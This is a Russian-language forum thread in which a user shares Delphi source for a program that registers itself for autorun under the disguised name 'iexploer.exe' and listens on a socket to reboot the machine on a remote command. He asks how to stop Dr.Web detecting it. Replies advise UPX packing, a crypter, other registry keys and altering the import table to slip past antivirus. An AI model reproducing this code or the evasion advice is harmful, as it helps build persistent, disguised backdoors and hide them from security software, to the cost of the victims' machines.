drWeb ServerSocket

[Student :)]

Сделал на Delphi сервер с компонентом ServerSocket

и сразу drWeb ругаеться что это вирус!
как решить эту проблему?

[diznt]

объясни для начало что за прогу ты сделал

[Student :)]

вот листинг


procedure TForm1.FormCreate(Sender: TObject);
var
RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('Run','iexploer.exe',Applicatio n.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Active:=false;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s: String;
begin
s:= Socket.ReceiveText;
if s='R' then

ShellExecute(handle, nil,'shutdown',' -r -t 2','', SW_SHOWNORMAL);

end;

end.

[diznt]

вот листинг


procedure TForm1.FormCreate(Sender: TObject);
var
RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('Run','iexploer.exe',Applicatio n.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Active:=false;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s: String;
begin
s:= Socket.ReceiveText;
if s='R' then

ShellExecute(handle, nil,'shutdown',' -r -t 2','', SW_SHOWNORMAL);

end;

end.


Ну естественно понятно почему ругается...
Попробуй упакуй UPX'ом к примеру...
Может помочь но наврятли

[Student :)]

покавал UPX'ом тоже самое :(

[fker]

А может в какую-нибудь другую ветку реестра попробовать записаться?

[diznt]

А может в какую-нибудь другую ветку реестра попробовать записаться?
Что за бред... Он соединяеться с хостом веба и тут вообще реестр не играет роли... (автор темы тут токо криптор поможет)

[Nightmarе]

На данный код ругается проактивка касхерского\других антивирей, на попытку записи реестра. Это зависит не от кода программы, а от действий.

[Student :)]

и что мене делать?

[Cthulchu]

и что мене делать?

попробуй попробовать получить таблицу импорта. По дополнительным вопросам обращайся к найтмару.
ЗЫ
соре-соре.